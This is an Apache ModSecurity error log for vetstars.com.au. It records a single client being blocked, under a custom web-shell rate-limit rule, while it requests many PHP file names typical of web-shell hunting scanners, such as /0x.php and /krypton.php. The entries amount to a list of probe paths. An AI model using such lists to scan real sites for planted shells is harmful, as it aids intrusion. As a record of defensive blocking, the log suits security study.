[Thu Dec 25 15:23:34.303643 2025] [:error] [pid 31570:tid 31619] [client 4.241.194.62:11305] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUzmdmPy2DpAzW_4a2gNkwAAAFM"]
[Thu Dec 25 15:23:35.183426 2025] [:error] [pid 31571:tid 31628] [client 4.241.194.62:11596] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "aUzmd-7e_lLK2X5wU8l_4AAAAIE"]
[Thu Dec 25 15:23:36.103827 2025] [:error] [pid 31571:tid 31644] [client 4.241.194.62:17532] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "aUzmeO7e_lLK2X5wU8l_7AAAAJE"]
[Thu Dec 25 15:23:36.521519 2025] [:error] [pid 31569:tid 31577] [client 4.241.194.62:23260] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "aUzmeGiSFBH7Ee_uldWU9wAAAAQ"]
[Thu Dec 25 15:23:37.709308 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:11571] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "aUzmearrTp0EWNyhaIT6ugAAAQw"]
[Thu Dec 25 15:23:38.773011 2025] [:error] [pid 31569:tid 31580] [client 4.241.194.62:11297] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ghreshttryu.php"] [unique_id "aUzmemiSFBH7Ee_uldWU-wAAAAc"]
[Thu Dec 25 15:23:39.426525 2025] [:error] [pid 2996:tid 3022] [client 4.241.194.62:15501] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ghreshttryu.php"] [unique_id "aUzme6rrTp0EWNyhaIT6vwAAARg"]
[Thu Dec 25 15:23:41.049407 2025] [:error] [pid 31569:tid 31586] [client 4.241.194.62:15546] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ghreshttryu.php"] [unique_id "aUzmfWiSFBH7Ee_uldWU_wAAAA0"]
[Thu Dec 25 15:23:42.391128 2025] [:error] [pid 31571:tid 31632] [client 4.241.194.62:14028] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ghreshttryu.php"] [unique_id "aUzmfu7e_lLK2X5wU8l_8gAAAIU"]
[Thu Dec 25 15:23:42.765463 2025] [:error] [pid 31655:tid 31678] [client 4.241.194.62:11637] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aUzmfpozPMk9HPtIJPNlWgAAANU"]
[Thu Dec 25 15:23:43.738519 2025] [:error] [pid 2996:tid 3004] [client 4.241.194.62:25141] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aUzmf6rrTp0EWNyhaIT6wgAAAQY"]
[Thu Dec 25 15:23:44.344875 2025] [:error] [pid 31570:tid 31609] [client 4.241.194.62:11532] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aUzmgGPy2DpAzW_4a2gNmQAAAEk"]
[Thu Dec 25 15:23:45.992365 2025] [:error] [pid 2996:tid 3000] [client 4.241.194.62:23216] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aUzmgarrTp0EWNyhaIT6wwAAAQI"]
[Thu Dec 25 15:23:46.818384 2025] [:error] [pid 31655:tid 31665] [client 4.241.194.62:17434] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUzmgpozPMk9HPtIJPNlYQAAAMg"]
[Thu Dec 25 15:23:47.356069 2025] [:error] [pid 31655:tid 31676] [client 4.241.194.62:15521] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUzmg5ozPMk9HPtIJPNlYgAAANM"]
[Thu Dec 25 15:23:48.187377 2025] [:error] [pid 31655:tid 31661] [client 4.241.194.62:17478] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUzmhJozPMk9HPtIJPNlZQAAAMQ"]
[Thu Dec 25 15:23:50.138259 2025] [:error] [pid 31655:tid 31678] [client 4.241.194.62:23294] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUzmhpozPMk9HPtIJPNlZwAAANU"]
[Thu Dec 25 15:23:51.637055 2025] [:error] [pid 2996:tid 3007] [client 4.241.194.62:17495] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aUzmh6rrTp0EWNyhaIT6yAAAAQk"]
[Thu Dec 25 15:23:52.782234 2025] [:error] [pid 31569:tid 31586] [client 4.241.194.62:11473] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aUzmiGiSFBH7Ee_uldWVCAAAAA0"]
[Thu Dec 25 15:23:53.686538 2025] [:error] [pid 31569:tid 31583] [client 4.241.194.62:17412] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aUzmiWiSFBH7Ee_uldWVCwAAAAo"]
[Thu Dec 25 15:23:54.837766 2025] [:error] [pid 31569:tid 31579] [client 4.241.194.62:23234] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aUzmimiSFBH7Ee_uldWVDwAAAAY"]
[Thu Dec 25 15:23:56.432487 2025] [:error] [pid 31569:tid 31584] [client 4.241.194.62:20613] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-header.php"] [unique_id "aUzmjGiSFBH7Ee_uldWVFQAAAAs"]
[Thu Dec 25 15:23:56.979384 2025] [:error] [pid 2996:tid 3016] [client 4.241.194.62:20192] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-header.php"] [unique_id "aUzmjKrrTp0EWNyhaIT61QAAARI"]
[Thu Dec 25 15:23:57.915368 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:25088] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-header.php"] [unique_id "aUzmjarrTp0EWNyhaIT62AAAAQE"]
[Thu Dec 25 15:23:58.865616 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:20188] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-header.php"] [unique_id "aUzmjqrrTp0EWNyhaIT66wAAAQc"]
[Thu Dec 25 15:23:59.512260 2025] [:error] [pid 2996:tid 3009] [client 4.241.194.62:23237] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dox.php"] [unique_id "aUzmj6rrTp0EWNyhaIT69gAAAQs"]
[Thu Dec 25 15:24:01.257107 2025] [:error] [pid 2996:tid 3020] [client 4.241.194.62:14018] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dox.php"] [unique_id "aUzmkarrTp0EWNyhaIT7AgAAARY"]
[Thu Dec 25 15:24:01.901639 2025] [:error] [pid 31570:tid 31623] [client 4.241.194.62:17526] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dox.php"] [unique_id "aUzmkWPy2DpAzW_4a2gNxgAAAFc"]
[Thu Dec 25 15:24:02.962779 2025] [:error] [pid 31655:tid 31664] [client 4.241.194.62:23202] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dox.php"] [unique_id "aUzmkpozPMk9HPtIJPNlagAAAMc"]
[Thu Dec 25 15:24:03.979375 2025] [:error] [pid 31569:tid 31596] [client 4.241.194.62:23295] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aUzmk2iSFBH7Ee_uldWVKQAAABc"]
[Thu Dec 25 15:24:05.039630 2025] [:error] [pid 31655:tid 31673] [client 4.241.194.62:2624] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aUzmlZozPMk9HPtIJPNlbQAAANA"]
[Thu Dec 25 15:24:05.560724 2025] [:error] [pid 31569:tid 31582] [client 4.241.194.62:24485] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aUzmlWiSFBH7Ee_uldWVLgAAAAk"]
[Thu Dec 25 15:24:06.928108 2025] [:error] [pid 31570:tid 31624] [client 4.241.194.62:14062] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aUzmlmPy2DpAzW_4a2gNywAAAFg"]
[Thu Dec 25 15:24:07.442831 2025] [:error] [pid 2996:tid 3012] [client 4.241.194.62:11597] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUzml6rrTp0EWNyhaIT7DgAAAQ4"]
[Thu Dec 25 15:24:08.432692 2025] [:error] [pid 31571:tid 31648] [client 4.241.194.62:18435] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUzmmO7e_lLK2X5wU8mABgAAAJU"]
[Thu Dec 25 15:24:09.694217 2025] [:error] [pid 31571:tid 31637] [client 4.241.194.62:23206] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUzmme7e_lLK2X5wU8mACAAAAIo"]
[Thu Dec 25 15:24:10.520463 2025] [:error] [pid 31655:tid 31657] [client 4.241.194.62:20615] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUzmmpozPMk9HPtIJPNlcgAAAMA"]
[Thu Dec 25 15:24:11.424210 2025] [:error] [pid 31571:tid 31638] [client 4.241.194.62:11547] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aUzmm-7e_lLK2X5wU8mADAAAAIs"]
[Thu Dec 25 15:24:12.724322 2025] [:error] [pid 31570:tid 31604] [client 4.241.194.62:20164] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aUzmnGPy2DpAzW_4a2gN1AAAAEQ"]
[Thu Dec 25 15:24:14.087958 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:2820] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aUzmnqrrTp0EWNyhaIT7FQAAAQw"]
[Thu Dec 25 15:24:15.841770 2025] [:error] [pid 2996:tid 3003] [client 4.241.194.62:11565] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aUzmn6rrTp0EWNyhaIT7GQAAAQU"]
[Thu Dec 25 15:24:17.713739 2025] [:error] [pid 31571:tid 31647] [client 4.241.194.62:18275] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tesTyuj.php"] [unique_id "aUzmoe7e_lLK2X5wU8mAEgAAAJQ"]
[Thu Dec 25 15:24:18.815868 2025] [:error] [pid 31570:tid 31605] [client 4.241.194.62:14050] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tesTyuj.php"] [unique_id "aUzmomPy2DpAzW_4a2gN2AAAAEU"]
[Thu Dec 25 15:25:04.239949 2025] [:error] [pid 31655:tid 31661] [client 4.241.194.62:11612] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aUzm0JozPMk9HPtIJPNlswAAAMQ"]
[Thu Dec 25 15:25:05.880734 2025] [:error] [pid 31571:tid 31627] [client 4.241.194.62:23176] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aUzm0e7e_lLK2X5wU8mAOAAAAIA"]
[Thu Dec 25 15:25:06.667205 2025] [:error] [pid 31655:tid 31679] [client 4.241.194.62:20929] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aUzm0pozPMk9HPtIJPNltQAAANY"]
[Thu Dec 25 15:25:09.336194 2025] [:error] [pid 31569:tid 31592] [client 4.241.194.62:20931] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aUzm1WiSFBH7Ee_uldWVTgAAABM"]
[Thu Dec 25 15:25:10.620954 2025] [:error] [pid 31571:tid 31651] [client 4.241.194.62:15773] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aUzm1u7e_lLK2X5wU8mAQwAAAJg"]
[Thu Dec 25 15:25:11.517949 2025] [:error] [pid 31569:tid 31593] [client 4.241.194.62:20637] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aUzm12iSFBH7Ee_uldWVUQAAABQ"]
[Thu Dec 25 15:25:13.098610 2025] [:error] [pid 2996:tid 3014] [client 4.241.194.62:18434] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aUzm2arrTp0EWNyhaIT7UAAAARA"]
[Thu Dec 25 15:25:13.471711 2025] [:error] [pid 2996:tid 3001] [client 4.241.194.62:15796] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aUzm2arrTp0EWNyhaIT7UgAAAQM"]
[Thu Dec 25 15:25:14.253042 2025] [:error] [pid 2996:tid 3003] [client 4.241.194.62:13727] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aUzm2qrrTp0EWNyhaIT7VAAAAQU"]
[Thu Dec 25 15:25:16.880878 2025] [:error] [pid 31569:tid 31574] [client 4.241.194.62:13740] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aUzm3GiSFBH7Ee_uldWVVAAAAAE"]
[Thu Dec 25 15:25:19.328123 2025] [:error] [pid 31571:tid 31636] [client 4.241.194.62:17984] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aUzm3-7e_lLK2X5wU8mASQAAAIk"]
[Thu Dec 25 15:25:20.483981 2025] [:error] [pid 31571:tid 31649] [client 4.241.194.62:2544] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aUzm4O7e_lLK2X5wU8mATAAAAJY"]
[Thu Dec 25 15:25:22.710389 2025] [:error] [pid 31570:tid 31603] [client 4.241.194.62:13961] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aUzm4mPy2DpAzW_4a2gOAwAAAEM"]
